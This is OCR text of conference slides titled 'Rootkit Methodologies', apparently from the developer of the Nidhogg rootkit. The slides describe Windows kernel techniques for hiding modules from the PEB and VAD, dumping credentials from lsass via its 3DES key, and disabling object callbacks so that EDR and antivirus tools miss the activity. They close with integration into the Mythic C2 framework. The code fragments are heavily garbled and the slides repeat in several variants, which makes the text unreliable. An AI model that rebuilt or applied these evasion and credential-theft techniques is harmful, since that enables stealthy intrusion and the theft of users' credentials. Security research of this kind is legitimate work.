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About

« Researcher & Developer

» Creating open source offensive tools
* Nidhogg
« Sandman

* Cronos

* Posting my research @ https://idov31.github.io

Feel free to review the projects
and reach out!
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& Hiding a module

PITTTTTY
ENESNEN
N
EN (EEA ¥
R )
TN
"N
PE-SIEVE
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Acquire handle to the
remote process

\_ 2
e R
Attoach to the remote
process' stack and get
the PEB's
InLoadOrderModulelist

g J

JL

Iterate the
InloadOrderModulelist
ond remove the target
en‘try node from the lists

lL

Hide the object from the
VAD as well

NTSTATUS HideModule(HiddenModuleInformation*
PLD TABLE_ENTRY H

= (PREALPEB)

(&
(
n STATUS_ABANDONED;

= STATUS_NOT_FOUND;

- (PLIST_ENTRY

, LDR_DATA_TABLE_ENTRY,

if (
eof(wchar_t) 4) == 0) {

, (ULONG_PTR)

sizeof(WCHAR) ;
H

);
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NTSTATUS HideModule(HiddenModuleInformation*

iding a module

( \ | ( 1 nfor - i | * sizeof(WCHAR);

H

};

Acquire handle to the
remote process

\ J = (PREALPEB)
r R , ot
Attoach to the remote

process' stack and get

the PEB's
InLoadOrderModulelist
- -
I«te‘.o\te the | = 7 STATUS_NOT_FOUND;
InLoadOrderModulelist 7 e

ond remove the target
en‘try node From the lists

if (
\l sizeof(wchar_t) 4) == 0) {

Hide the object from the
VAD as well

, LDR_DATA_TABLE_ENTRY,

, (ULONG_PTR)
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([ ] [ ] NTSTATUS HideModule(HiddenModuleInformationx

( \ | ( 1 nfor - i | * sizeof(WCHAR);

H

i
Acquire handle to the
remote process

- J

\l/ = (PREALPEB)

/ ) (&

Attach to the remcte

process' stack and get
the PEB's

InLoadOrderModulelist

ANDONED 3

N
( n
I«te‘.o\te the | ’75T.‘—‘«TUSJJOTiFDUH:.v;
InLoadOrderModulelist 7 e

ond remove the target
en‘try node From the lists

- J

, LDR_DATA_TABLE_ENTRY,

if (
eof(wchar_t) 4) == 0) {

Hide the object from the
VAD as well

, (ULONG_PTR)
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- ; . . NTSTATUS HideModule(HiddenModuleInformation*
= | PLD TABLE_ENTRY H
{ -

( ~ " ( A : ] >t ane) » ‘,;»,‘,“H'.‘CH»“«R):
Acquire handle to the
remote process
\ J = (PREALPEB)
e | ) ' cctGargets
Attach to the remote ' .
process’ stack and 3e_‘t : : (K
the PER's
InLoadOrderModulelist
\_

JL

I«te‘.o\te the = STATUS_NOT_FOUND;
InLoadOrderModulelist T :
S

ond remove the target
en‘try node From the list

, LDR_DATA_TABLE_ENTRY,

if |
eof(wchar_t) 4) == 0)

lL

- N

Hide the object from the
VAD as well

, (ULONG_PTR)
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PRTL_BALANCED_NODE

PMMVAD_SHORT

PMMVAD

NTSTATUS

( y ULONG_PTR rgetA = I idre PAGE_SHIFT;

o o
II II Ilﬁ.ll iiill Il‘1lr.|| ‘I::I’ lI.’II ‘!E!, :
NTSTATUS VadHideObject(PEPROCESS ess, ULONG_PTR T

Get the offsets to VAD ULONG

root and lock ULONG

vad - | pag
return STATUS_INVALID_ADDRESS;

N J
\l/ PRTL_AVL_TABLE T (PRTL_AVL_TABLE ) ( ( PUCHAR )F 2SS + |
EX_PUSH_LOCK 1| I = (EX_PUSH_LOCK)( (PUCHAR)
TABLE_SEARCH_RESULT re (vadT :
Lock and iterate the VAD I= Table Node )
return STATUS_NOT_FOUND;
tree
rtNode = (PMMVAD_SHORT) le;
1 rtNode->u. ; .VadType == VadImageMap) {
i Node = (PMMVAD) rtNode;

i ST;«TUSLIl'~l\v’,ALI£]jAD[)F1ESS;

If Pound and is loaded Lf (! ' -Sul n-> rol

mage, remove the name H ‘-.'eu.vw \TUS_INVALID_ADDRESS;
PFILE_OBJECT . = (PFILE_OBJECT)(

If found and is Physical
memony, mark as

NO_ACCESS
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o o
NTSTATUS VadHideObject(PEPROCESS ess, ULONG_PTR T

PRTL_BALANCED_NODE node = NULL;
PMMVAD_SHORT sl ‘ ULL;
PMMVAD
NTSTATUS ID_PARAMETER;
4 ULONG_PTR targetAddr rt = TargetAddre PAGE_SHIFT;
Get the offsets to VAD ULONG
root and lock ULONG
return STATUS_INVALID_ADDRESS:;
g
i/ PRTL_AVL_TABLE ' (PRTL_AVL_TABLE)( ( PUCHAR) +
EX_PUSH_LOCK = (EX_PUSH_LOCK){ (PUCHAR)
4 TABLE_SEARCH_RESULT (vadT , :
Lock and iterate the VAD I= Table )
)T_FOUND;
tree
= (PMMVAD_SHORT)
.
if ( rtN ->u. .VadTy == VadImageMap) {
\ﬂ/ ! = (PMMVAD)shortNode;
f (! ! - I n)
return STATUS_INVALID_ADDRESS;
If found and is loaded Lf (! ] -Sul n-> rol
ma remov he noawm i et
mage, remove the e retur \TUS_INVALID_ADDRESS;
PFILE_OBJECT . = (PFILE_OBJECT)(
STATUS_SUCCESS;
If found and is physical ]
mewmory, mark as eLse ir s '7" em>u. rack ag
NO__ACCESS STATUS_SUCCESS ;
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o o
II II Ilﬁ.ll iiill Il‘1lr.|| ‘I::I’ lI.'II ‘!E!, :
NTSTATUS VadHideObject(PEPROCESS ess, ULONG_PTR T

PRTL_BALANCED_NODE le = NULL;

PMMVAD_SHORT sl | ULL;

PMMVAD

NTSTATUS ID_PARAMETER;

ULONG_PTR I Addr rt = I Addre PAGE_SHIFT;

Get the offsets to VAD ULONG

root and lock ULONG

return STATUS_INVALID_ADDRESS;

i/ PRTL_AVL_TABLE ' (PRTL_AVL_TABLE ) ( ( PUCHAR) +
EX_PUSH_LOCK = (EX_PUSH_LOCK){ (PUCHAR)

TABLE_SEARCH_RESULT (vadT 5 A

Lock and iterate the VAD 1= Table 3)
)T_FOUND;
Tree
= (PMMVAD_SHORT)
if ( rtNode->u. .VadTy == VadImageMap) {
j/ I = (PMMVAD) rtNode;
e S o emetodenee .

return STATUS_INVALID_ADDRESS;

If found and is loaded

Mo remove the nawm et
& remove the e retur \TUS_INVALID_ADDRESS;

PFILE_OBJECT 2 = (PFILE_OBJECT)({

. _J

STATUS_SUCCESS;

If Pound and is Physical
memory, mark as R iy Flaq
NO__ACCESS STATUS_SUCCESS ;
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ing a module

Get the offsets to VAD
root and lock

Lock and iterate the VAD
tree

If found and is loaded
image, remove the name

If found and is Physical
memony, mark as

NO_ACCESS

NTSTATUS VadHideObject(PEPROCESS ess, ULONG_PTR T
PRTL_BALANCED_NODE
PMMVAD_SHORT
PMMVAD
NTSTATUS
ULONG_PTR rgetA = I re PAGE_SHIFT;

ULONG
ULONG

vad - | pag
return STATUS_INVALID_ADDRESS;

PRTL_AVL_TABLE (PRTL_AVL_TABLE ) ( ( PUCHAR )] ss + vad
EX_PUSH_LOCK T ‘ = (EX_PUSH_LOCK)( (PUCHAR )Pr
TABLE_SEARCH_RESULT re (vadT :

return STATUS_NOT_FOUND;
= (PMMVAD_SHORT)
e->u. ; > == VadImageMap) {
= (PMMVAD)

! - I n)
return STATUS_INVALID_ADDRESS;

return ATUS_INVALID_ADDRESS;

PFILE_OBJECT 2 = (PFILE_OBJECT ){
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Advantages of dumping credentials from the kernel

4

O

Remain undetected by =~ No need to acquire Done in almost
EDRs and AVs special permissions or identical way like from
beat PPL user mode
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: ® ®
L. NTSTATUS DumpCredentials(ULONG* A
! KAPC_STATE r
? ULONG

ULONG
SIZE_T
PEPROCESS
ULONG i
ULONG

ULONG ie A
PLSASRV_CREDENTIALS

4 2 e N

Getting a handle to the A‘t‘to\clr\ing to the process
lsass process stack

ise) {
= STATUS_NOT_FOUND;

K X K ) r (lsa , "LsaIAuditSamEvent");

Fincling the Function LI
I'LSO\IAUJ;‘tSO\MEVeV\‘t" as F?nding 3IDES key and R
an e_n‘tm/ po]n‘t for binanl LogonSessionLjs‘t ocation

search

( (PUCHAR)&

_ Y, _ J

) {
= ( (PUCHAR )&l
), 1 lain,
, NULL, 0, true);
1 ) {
S_NOT_FOUND;

= FindPattern((PUCHAR)&IV

, NULL, 0);
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: ® ®
L. NTSTATUS DumpCredentials(ULONG* A
! KAPC_STATE r
? ULONG

ULONG
SIZE_T
PEPROCESS
ULONG i
ULONG

ULONG ie A
PLSASRV_CREDENTIALS

~ ™ ( R

Getting a handle to the A‘t‘to\clr\ing to the process
lsass process stack

e= 1ss, L"\\W \System32\\1lsa

ise) {
= STATUS_NOT_FOUND;

K X K ) r = (lsa , "LsaIAuditSamEvent");
F?nd?ng the Punction , Main) {

STATUS_NOT_FOUND;

"LsaTlAuditSamEvent' as F?nding 3IDES key and
an e_n‘tﬁ/ po]n‘t for ’oinaﬁ/ LogonSessionLjs‘t ocation
search

( (PUCHAR)&

_ Y, _ J

) {
= ( (PUCHAR )&l
), 1 lain,
, NULL, 0, true);
1 ) {
S_NOT_FOUND;

= FindPattern((PUCHAR)&IV

, NULL, 0);
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: ® ®
L. NTSTATUS DumpCredentials(ULONG* A
! KAPC_STATE r
? ULONG

ULONG
SIZE_T |
PEPROCESS
ULONG i
ULONG

ULONG ie A
PLSASRV_CREDENTIALS

I

e B 4 N

Getting a handle to the A‘t‘to\clr\ing to the process
lsass process stack

, L"™\\Window

US_NOT_FOUND;

( \ K \ I ( A , "LsaIAuditSamEvent");

F\‘nd;n? -the Punct;on 7 STF){TUS NOT_FOUND;
"LsaTlAuditSamEvent' as F?nding 3IDES key and break; e
an e_n‘tﬁ/ po]n‘t for ’oinaﬁ/ LogonSessionLjs‘t ocation
search ( (PUCHAR)&
\_ y, _ J

) {

= ( (PUCHAR )&l

), 1 lain,

, NULL, 0, true);
Is = STATUS_NOT_FOUND;

PR ez 1 M = FindPattern((PUCHAR)&I\

, NULL, 0);
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—

Gvet'ting a handle to the
lsass process

~

# Dumping Credentials

4 )

A‘t‘to\clr\ing to the process

stack

F?nd?ng the Punction
‘LsaIAuditSamEvent' as
an e_n‘tﬁ/ point for ’oinaﬁ/

search

a N

N J

F\mding 3IDES key and

LogonSessionLjs‘t ocation

- w

NTSTATUS DumpCredentials(ULONG* A
KAPC_STATE
ULONG
ULONG
SIZE_T
PEPROCESS
ULONG
ULONG
ULONG

i

1€

PLSASRV_CREDENTIALS

NTSTATUS

(INT_S

PVOID

ST.

I

US_NOT_FOUND;

)
ATUS_NOT_FOUND ;

Is = STATUS_NOT_FOUND;

, NULL,

, L"\\Window

, "LsaIAuditSamEvent");

( (PUCHAR)&

) {
= ( (PUCHAR )&l
), 1 lain,
, NULL, 0, true);

) {

= FindPattern((PUCHAR)&IV

0);
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( (PUCHAR ) &F

s N a )

= STATUS_NOT_FOUND;

Extracting The 3DES ke,L/ Vo\hdo\‘ting the 3IDES ke;./

PULONG Addr = (PULONG) ( (PUCHAR)&
sizeof( 2 I ), 1 1al

115

- » \_ J

ir ) {
= STATUS_NOT_FOUND;
= (PBCRYPT_GEN_KEY)( (PUCHAR)

).

//' <\\ (/k ﬁ\\ ] ( y, S1 f(BCRYPT_GEN_KEY), size STATUS_NOT_FOUND ) ;

Copy the 3DES key to o Getting the (¢ (deskey ey tag 1= R || ) v e e €
Vod‘}able_ LO:‘jOV\SeSS;OV\L}S‘t O.P.Pset = STATUS_NOT_FOUND;

reak;

\_ J \_ J

INT_SUCCESS(

yreak;

PULONG nl Add = (PULONG) ( (PUCHAR)&
sizeof( ) 1 e E I
S I );
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e N

Extracting the 3DES ke_L/

Vo\hdo\‘ting the 3IDES ke;./

\_ J

a N

Copy the 3IDES key to o

\_ v

67e't‘t3n3 the

Vomiable,

LogonSessionL}s‘t offset

\

J

( (PUCHAR ) &F

= STATUS_NOT_FOUND;

PULONG < I = (PULONG)
sizeof( ] I ), 1

115

( (PUCHAR)&

ir ) {
= STATUS_NOT_FOUND;

= (PBCRYPT_GEN_KEY )( { PUCHAR)

)
f(BCRYPT_GEN_KEY), size

o ->tag != 'UUUR' || - > g !=
= STATUS_NOT_FOUND;
reak;

3 - . ) {
STATUS_INSUFFICIENT_RESOURCES;

INT_SUCCESS(

yreak;

PULONG nl Add = (PULONG)
sizeof( ) 1 e E
S I );

'MSsSK') {

( (PUCHAR)&L

STATUS_NOT_FOUND ) ;
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( (PUCHAR ) &F

a R [ )

= STATUS_NOT_FOUND;

Extracting The 3DES ke,L/ Vo\hdo\‘ting the 3IDES ke;./

PULONG Addr = (PULONG) ( (PUCHAR)&
sizeof( 2 I ), 1 | 1al i
115

\_ J \_ J

ir ) {
= STATUS_NOT_FOUND;
= (PBCRYPT_GEN_KEY ) ( ( PUCHAR)

).

( N K \ ] ( Y, S f( [‘BC'RYP‘ILGEN?KEY ), size S US_NOT_FOUND ) ;

Copy the 3DES key to o Getting the
Vod‘iable, LogonSessionLis‘t offset

2y -> -> ] = "UUUR' |
= STATUS_NOT_FOUND;
break;

. J \_ J

1f ( !NT_SUCCESS(
break;

PULONG nl Add = (PULONG) ( (PUCHAR)&L
sizeof(Log 1 e E I
S I );
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e N

E)(tracting the 3DES ke_L/

~ M

Vo\hdcx‘ting the 3IDES ke;./

J

STATUS_NOT_FOUND;

PULONG
sizeof

t);

= (PULONG)
), 1 lal

( (PUCHAR ) &F

0, true);

( (PUCHAR)&

_ J -

i ) {
= STATUS_NOT_FOUND;

= (PBCRYPT_GEN_KEY )( { PUCHAR)

Copy the 3IDES key to o
Vomiable,

a N

67e't‘t3n3 the

LogonSe_ssionL}s‘t offset

.

v

):

f(BCRYPT_GEN_KEY), s

atus))

-hKey->tag != 'UUUR’
STATUS_NOT_FOUND;

3 . .Data) {
= STATUS_INSUFFICIENT_RESOURCES;

NT_SUCCESS( atus))

break;

PULONG nl Add > = (PULONG)

sizeof( ) r 1 e

)3

Rootkit Methodologies

STATUS_NOT_FOUND ) ;

( (PUCHAR)&L



E)(tr‘o\c‘t?ng the
LogonSessionList

-

Counting the credentials

N

~

Validating the
LogouSeSSionLiS’t

J

a )

Copying the credentials to
a VO\r?a\Ble_

N D,

= STATUS_NOT_FOUND;

PLIST_ENTRY

(* 3t ) + I )55

= (PLIST_ENTRY)

atus = ( 1 , S
sizeof(PLSASRV_CREDENTIALS), STATUS_NOT_FOUND);

T_SUCCESS( 1s))
k;

= (PLSASRV_CREDENTIALS)
e ((PLIST_ENTRY)
‘ ) {
STATUS_NOT_FOUND;
= (Credentials*)
) {

STATUS_INSUFFICIENT_RESOURCES;

I .Creds, 0,
= (PLSASRV_CREDENTIALS)

= (PLIST_ENTRY )((PUCHAR)

( (ULONGLONG)

eof (PLSASRV_CREDENTIALS),

s1zeof(Credentials));

& (PLIST_ENTRY)

) {

Credentials));

Rootkit M




# Dumping Credentials ==

PLIST_ENTRY = (PLIST_ENTRY)((PUCHAR)
(*logonsess ior Add t) I I

= (PLIST_ENTRY) ( (ULONGLONG)

atus = ( 1 , Sizeof(PLSASRV_CREDENTIALS),
sizeof(PLSASRV_CREDENTIALS), STATUS_NOT_FOUND);

if T_SUCCESS( 1s))
(/’ “\ (' ‘\ k;
= (PLSASRV_CREDENTIALS)
E)(tr‘o\c‘thg The vahdo\'t;“ﬂ The while ((PLIST_ENTRY)
LogonSe_ssﬁonLis‘t LogoV\SessionLis't re ‘

if (cre ( ) {
STATUS_NOT_FOUND;
& j ! J 3 )

= (Credentials*) I x s Credentials));

: ) {
STATUS_INSUFFICIENT_RESOURCES;

( x f- \ I .Creds, 0, * sizeof(Credentials));

= (PLSASRV_CREDENTIALS) =

& (PLIST_ENTRY)

Copying the credentials to

Coun'tiv\g the credentials o variable
\

) {

_ Y, _ Y,

Rootkit M




E)(tr‘o\c‘t?ng the
LogonSessionList

—

Counting the credentials

.

Validating the
LogouSeSSionLiS’t

a )

Copying the credentials to
a VO\r?a\Ble_

J

N D,

= STATUS_NOT_FOUND;

PLIST_ENTRY = (PLIST_ENTRY )((PUCHAR)

(* ] | I Add 2t) + I )5

= (PLIST_ENTRY)

atus = ( i , S
sizeof(PLSASRV_CREDENTIALS), STATUS_NOT_FOUND);

T_SUCCESS( 1s))
k;

= (PLSASRV_CREDENTIALS)
e ((PLIST_ENTRY)
‘ ) {
STATUS_NOT_FOUND;
= (Credentials*)
) {

STATUS_INSUFFICIENT_RESOURCES;

I .Creds, 0,
= (PLSASRV_CREDENTIALS)

( (ULONGLONG)

eof (PLSASRV_CREDENTIALS),

s1zeof(Credentials));

& (PLIST_ENTRY)

) {

Credentials));

Rootkit M




# Dumping Credentials ==

PLIST_ENTRY = (PLIST_ENTRY )((PUCHAR)
(5 | . r Add 2t) + I e

= (PLIST_ENTRY) ( (ULONGLONG)

atus = ( 1 , Sizeof(PLSASRV_CREDENTIALS),
sizeof(PLSASRV_CREDENTIALS), STATUS_NOT_FOUND);

if T_SUCCESS( 1s))
(/> <\\ /’ ‘\ k;
= (PLSASRV_CREDENTIALS)
E)(tr‘o\c‘thg The vahdo\'t;“ﬂ The while ((PLIST_ENTRY)
LogonSe_ssﬁonLis‘t LogoV\SessionLis't re ‘

> ( 1‘,{
4// STATUS_NOT_FOUND;
\_ J . =

= (Credentials*) I x s Credentials));

: ) {
STATUS_INSUFFICIENT_RESOURCES;

( x f \ I 5 ds, O, * sizeof(Credentials));

= (PLSASRV_CREDENTIALS) =

& (PLIST_ENTRY)

Copying the credentials to

Coun'tiv\g the credentials o variable
\

) {

_ Y, - w,

Rootkit M




# Dumping Credentials [

Lf (!NT_SUCCESS(

Detaching from the
process's stack

\ J
Failed Success
/ \\ if (INT_SUCCESS(
i g

~ \ K ~ for (ULONG
DRIVER_TAG);
Retum the r‘e,quire_d DRIVER_TAG);
Free all resources allocation size to the DRIVER TAG):

user
\_ J \_ J

, DRIVER_TAG);

, DRIVER_TAG);
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e N
Detaching from the
process's stack
\_ J
Failed Success
r . -
Retum the required
Free all resources a“oca‘tion size To the
user
\_ J \_

1f (!NT_SUCCESS(

DRIVER_TAG);

Lf (!NT_SUCCESS(

if (INT_SUCCESS(

if (
for (ULONG

DRIVER_TAG);
DRIVER_TAG);

DRIVER_TAG);

, DRIVER_TAG);

, DRIVER_TAG);
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DRIVER_TAG);

» Dumping Credentials

e \ KernelMode);
{f (INT_SUCCESS(
De‘tach‘mg from the DRIVER_TAG);
process's stack DRIVER_TAG);
\_ J
Failed Success
i SUCCESS( )) {
/ A R AR Lo & () of
( (,, \ for (ULONG = 0;
DRIVER_TAG);
Retum the r‘e,quire_d DRIVER_TAG);
Free all resources allocation size to the LR
user
\_ J . J

, DRIVER_TAG);

, DRIVER_TAG);

Rootkit Methodologies



&# Refreshment on object callbacks

55 & °

Register pre or post  Types for Registry Enabling disabled
callbacks keys, files, processes, callback will cause
threads, events, etc. BSOD

Rootkit Methodologies



) Removing an object FEGN

DisabledKernelCallback 1 {};
= STATUS_NOT_FOUND;

NTSTATUS
‘ a a‘ if (Ca k=>T == ObProcessType | 1 >Type == ObThreadType) {
PFULL_OBJECT_TYPE 2 CETyf = NULL;

ULONG64

" ~

ObProcessType:
= (PFULL_OBJECT_TYPE)*PsProcessType;

ACquirim:j objeq‘t typels IOQk reak:

Dreak;

\_ v
i/ ( (PULONG_PTR)& De->TVDE )
- N POB_CALLBACK_ENTRY curt . = (POB_CALLBACK_ENTRY )(&
do {
Iterate the enabled if | . ‘ R ) 1
; if ((ULONG64) back->
callbacks in the callbacks — 2
list rentobiectcallback->Pre
}
else if ((ULONG64)currer
- ~ rationAddress = (ULONG64)

| .

IR the address of the e
‘tomge_‘t callback match to
the pre/pos‘t operation
replace_ with Jummy

ULONG64 )

}
rre = (POB_CALLBACK_ENTRY)
& while ((PVOID) ] I != (PVOID)(&

( (PULONG_PTR )&

Add the callback to the
disabled callbacks' list

Rootkit M




) Removing an object FEGN

DisabledKernelCallback 1 {};
NTSTATUS = STATUS_NOT_FOUND;
‘ a a‘ if (Ca k=>T == ObProcessType | 1 >Type == ObThreadType) {
PFULL_OBJECT_TYPE 2 CETyf = NULL;
ULONG64 ope Addre 0;
-
C ObProcessType:
= (PFULL_OBJECT_TYPE)*PsProcessType;
Acquiring object type's lock cas e:
\_
i/ ( (PULONG_PTR)& ype->Tyr )s
POB_CALLBACK_ENTRY currel 18 = (POB_CALLBACK_ENTRY) (&
7
do {
Iterate the enabled if (curre Callback->f ) 1
q if ((ULONG64) r I ->
callbacks in the callbacks rati ‘ = (ULONG64)
list \back->Pre
}
else i1f ((ULONG64)
&> r 1 A = (ULONG64)

4t S

If the address of the ' 1 . ; )'{‘ | =
target callback mateh to el i ULONGG4)
the pre/pos‘t operation ’ )

replace_ with Jummy
}

rre = (POB_CALLBACK_ENTRY)
& while ((PVOID) ] I != (PVOID)(&

((PULONG_PTR)&

Add the callback to the
disabled callbacks' list

Rootkit M




) Removing an object FEGN

DisabledKernelCallback 1 {};
= STATUS_NOT_FOUND;

NTSTATUS
‘ a a‘ if (Ca k=>T == ObProcessType | 1 >Type == ObThreadType) {
PFULL_OBJECT_TYPE 2 CETyf = NULL;

ULONG64

(" 0

ObProcessType:
= (PFULL_OBJECT_TYPE)*PsProcessType;

ACquirim:j objeq‘t typels IOQk reak:

Dreak;

\_ J
$ ( (PULONG_PTR)&objectType->Type )
- N POB_CALLBACK_ENTRY currer 11 = (POB_CALLBACK_ENTRY ) (&
do §
Iterate the enabled if . ‘ R ) {
; if ((ULONG64) back->
callbacks in the callbacks — 2
list rentobjectcallback->pr

}
else if ((ULONG64)curt

- ~ rationAddress = (ULONG64)

$ e metren Tl s

)1

If the address of the
‘tomge_‘t callback match to
the pre/pos‘t operation
replace_ with Jummy

ULONG64 )

}
rre — (POB_CALLBACK_ENTRY)
i while ((PVOID) ) : 1= (PVOID)(&

( (PULONG_PTR )&

Add the callback to the
disabled callbacks' list

Rootkit M




) Removing an object FEGN

DisabledKernelCallback 1 {};
= STATUS_NOT_FOUND;

NTSTATUS
‘ a a‘ if (Ca k=>T == ObProcessType | 1 >Type == ObThreadType) {
PFULL_OBJECT_TYPE 2 CETyf = NULL;

ULONG64

(" 0

ObProcessType:
= (PFULL_OBJECT_TYPE)*PsProcessType;

ACquirim:j objeq‘t typels IOQk reak:

Dreak;

\_ J
i/ ( (PULONG_PTR)&objectType->Type )
- N POB_CALLBACK_ENTRY currer 11 = (POB_CALLBACK_ENTRY ) (&
do {
Iterate the enabled if | . ‘ R ) 1
; if ((ULONG64) back->
callbacks in the callbacks — 2
list rentobiectcallback->Pre
}
else if ((ULONG64)currer
- ~ rationAddress = (ULONG64)

| .

IR the address of the e
‘tomge_‘t callback match to
the pre/pos‘t operation
replace_ with Jummy

ULONG64 )

}
rre = (POB_CALLBACK_ENTRY)
& while ((PVOID) Ol I != (PVOID)(&

( (PULONG_PTR )&

Add the callback to the
disabled callbacks' list

Rootkit M




errno_t
ULONG 1

; o o
': NTSTATUS ListObCallbacks(ObCallbacksList*
5 NTSTATUS S
PFULL_OBJECT_TYPE 5
CHAR rN VER_PA 0

callback

r R

Acquiring the object type's

ock
( (PULONG_PTR)& T -> X5
\ ) = (POB CALLBACK ENTRY)(&
\l/ LF (« A == 0) {
4 N F (cu ‘ [ ble
Iterating the callbacks, i ,
‘ = (POB_CALLBACK_ENTRY)
the current ca“hack s » 1= (PVOID)(&

active check i it is post
or pre operation

_ v

lL

Find the ca“hacWS
associated driver via 2 ‘
MQtQhCa“‘:o\ck U (NT_SUCCESS(

1=0) {

\k/ = STATUS_ABANDONED;

Copy the callback address
. ‘ = (POB_CALLBACK_ENTRY) ) . ;

ay‘d dr.ve:; y‘:mle :;o the while T ! >| A && (PVOID) T I= (PVOID)
outpu S

( (PULONG_PTR)&
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errno_t
ULONG

) o ®
NTSTATUS ListObCallbacks(ObCallbacksList*
P NTSTATUS -
Removing an opjec
CHAR rN V

callback

( N

= (PFULL_OBJECT_TYPE )*PsThr

S_INVALID_PARA

Acquiring the object type's

ock
( (PULONG_PTR)& - )
\ J POB_CALLBACK_ENTRY A = (POB_CALLBACK_ENTRY
4 N
Iterating the callbacks, ¥ | o o
the current callback is \ ) 1 1= (PVOID)(&

active check i it is post
or pre operation

\ J

lL

Find the ca“back'S
associated driver via
MatchCallback

Copy the callback address
. ‘ = (POB_CALLBACK_ENTRY) . . ;

ay‘d dr.ve:; y‘:mle :Eo the while I ! A >| A && (PVOID) T I= (PVOID)
outpu S

( (PULONG_PTR)&
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) o ®
NTSTATUS ListObCallbacks(ObCallbacksList*
P NTSTATUS -
Removing an opjec
CHAR rN V

errno_t
ULONG

callback

( N

= (PFULL_OBJECT_TYPE )*PsThr

S_INVALID_PARA

Acquiring the object type's

ock
( (PULONG_PTR)& - )
\ J POB_CALLBACK_ENTRY A = (POB_CALLBACK_ENTRY
e R
Iterating the callbacks, i | o o
the current callback is » ) 1 1= (PVOID)(&

active check i it is post
or pre operation

_ J

lL

Find the ca“back'S
associated driver via
MatchCallback

1= 0) {
= STATUS_ABANDONED;

Copy the callback address

. ‘ = (POB_CALLBACK_ENTRY) . . ;

ay‘d dr.ve:; y‘:mle :Eo the while I ! A >| A && (PVOID) T I= (PVOID)
outpu S

( (PULONG_PTR)&
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) o ®
NTSTATUS ListObCallbacks(ObCallbacksList*
P NTSTATUS -
Removing an opjec
CHAR rN V

errno_t
ULONG

callback

( N

= (PFULL_OBJECT_TYPE )*PsThr

S_INVALID_PARA

Acquiring the object type's

ock
( (PULONG_PTR)& — )
L ) = (POB_CALLBACK_ENTRY
4 N
Iterating the callbacks, i | .
the current ca“hack s » ) 1 1= (PVOID)(&

active check i it is post
or pre operation

_ J

lL

Find the ca“back'S
associated driver via ,
MQtQhCO\“‘:O\Ck if (NT_SUCCESS(

1= 0) {
= STATUS_ABANDONED;

Copy the callback address .

. ‘ = (POB_CALLBACK_ENTRY) ) . ;

ay‘d dr.ve:; y‘:mle :Eo the while I ! A >| A && (PVOID) T I= (PVOID)
outpu S

( (PULONG_PTR)&
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o o
e m OVI n a n O ect NTSTATUS MatchCallback(PVOID cal , CHAR driverName[MAX_DRIVER_PATH]) {
NTSTATUS = STATUS_SUCCESS;

PRTL_PROCESS_MODULES = NULL;

ULONG ur ze;
ca a c errno_t ) )
(SystemModuleInformation, NULL, 0, &

STATUS_INFO_LENGTH_MISMATCH) {

(info, DRIVER_TAG);
(PRTL_PROCESS_MODULES )A 1

Get the Lf (tinfo) {
SystemMochleInPorma‘tIon -

STATUS_INSUFFICIENT_RESOURCES;

(SystemModuleInformation,

if (INT_SUCCESS(

return

PRTL_PROCESS_MODULE_INFORMATION

for (ULONG =0; 1L < U rofm Iles; 1
I'te_PO\'te the MOAUIQS 1f (call > Le Sl ) | < (PVOID)((PUCHAR)
member From the acmdre_d lules[1].ImageSize)
;H‘POMO\t;OV\ 1 .? : ze (const char*)

<= MAX_DRIVER_PATH) {
(driverN , MAX_DRIVER_PATH, (const charx)

1= 0)

= STATUS_UNSUCCESSFUL;

If the address of the " status = STATUS_UNSUCCESSFUL ;
range, copy The driver's
noame,
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o o
e m OVI n a n O ect NTSTATUS MatchCallback(PVOID cal , CHAR driverName[MAX_DRIVER_PATH]) {
NTSTATUS = STATUS_SUCCESS;

PRTL_PROCESS_MODULES = NULL;

ULONG ur ze;
c a a c errno_t ) )
(SystemModuleInformation, NULL, 0, &

STATUS_INFO_LENGTH_MISMATCH) {

(info, DRIVER_TAG);
(PRTL_PROCESS_MODULES )A 1

Get the Lf (tinfo) {
SystemMochleInPorma‘tIon -

STATUS_INSUFFICIENT_RESOURCES;

(SystemModuleInformation,

if (INT_SUCCESS(

return

PRTL_PROCESS_MODULE_INFORMATION

for (ULONG =0; 1L < U 2rofM Iles; 1
I'te_PO\'te the MOAUIQS 1f (call > Le Sl ) | < (PVOID)((PUCHAR)
member From the acmdre_d lules[1].ImageSize)
;H‘POMO\t;OV\ 1 .? : ze (const char*)

<= MAX_DRIVER_PATH) {
(driverN , MAX_DRIVER_PATH, (const charx)

1= 0)

= STATUS_UNSUCCESSFUL;

If the address of the " status = STATUS_UNSUCCESSFUL ;
range, copy The driver's
noame,
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o o
e m OVI n a n O ect NTSTATUS MatchCallback(PVOID cal , CHAR driverName[MAX_DRIVER_PATH]) {
NTSTATUS = STATUS_SUCCESS;

PRTL_PROCESS_MODULES = NULL;

ULONG ur ze;
c a a c errno_t ) )
(SystemModuleInformation, NULL, 0, &

STATUS_INFO_LENGTH_MISMATCH) {

(info, DRIVER_TAG);
(PRTL_PROCESS_MODULES )A 1

Get the Lf (tinfo) {
SystemMochleInPorma‘tIon -

STATUS_INSUFFICIENT_RESOURCES;

(SystemModuleInformation,

if (INT_SUCCESS(

return

PRTL_PROCESS_MODULE_INFORMATION

for (ULONG =0; 1L < U 2rofM Iles; 1
I'te_PO\'te the MOAUIQS 1f (call > Le Sl ) | < (PVOID)((PUCHAR)
member From the acmdre_d lules[1].ImageSize
;H‘POMO\t;OV\ E 1 .? Na ize (const char*)

<= MAX_DRIVER_PATH) {
(driverN , MAX_DRIVER_PATH, (const charx)

1= 0)

= STATUS_UNSUCCESSFUL;

If the address of the " status = STATUS_UNSUCCESSFUL ;
range, copy The driver's
noame,
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& What is Mythic?

* Very popular C2 infrastructure written primarily in
Golang by @its-a-feature

Va VW4
MYTHIC

* Great choice for people that want to write their
own agent but not the server side

 Highly maintained with lots of pre made agents

C2 Integration



Athena

 Athena is a cross platform .NET Mythic
agent by @checkymander

* Has many features such as SOCKSS5, P2P
agent support, reflective loading of
commands and more

* In the newest version also added support for
all Nidhogg features using a new C# API

C2 Integration



E¥ Windows PowerShell

sers\checkymander.adm> _

DOMAIN

INTERACT

{ fe80::695d:575:« DEV3 checkymander @dawn a few seconds Created by checkymander a

CALLBACK: 8 X

ut v 1x
output from: Debug v (C]

ent.exe’ (LoreCLR: clrhos Loaded rogram Flles\dotnet\shared\M1crosott.NE|Lore.App\/.0.15\ em. |hreading.Uverlapped.d. .
‘Agent.exe' (CoreCLR: clrhost) rogram Files\dotnet\shared\Microsoft.NETCore.App\7.8.15\System. Threading.Tasks.Parall:
The thread '[Thread Destroyed]' (626 exited with code @ (@x@).
The thread '[Thread Destroyed]' (7456) has exited with code @ (@x@).
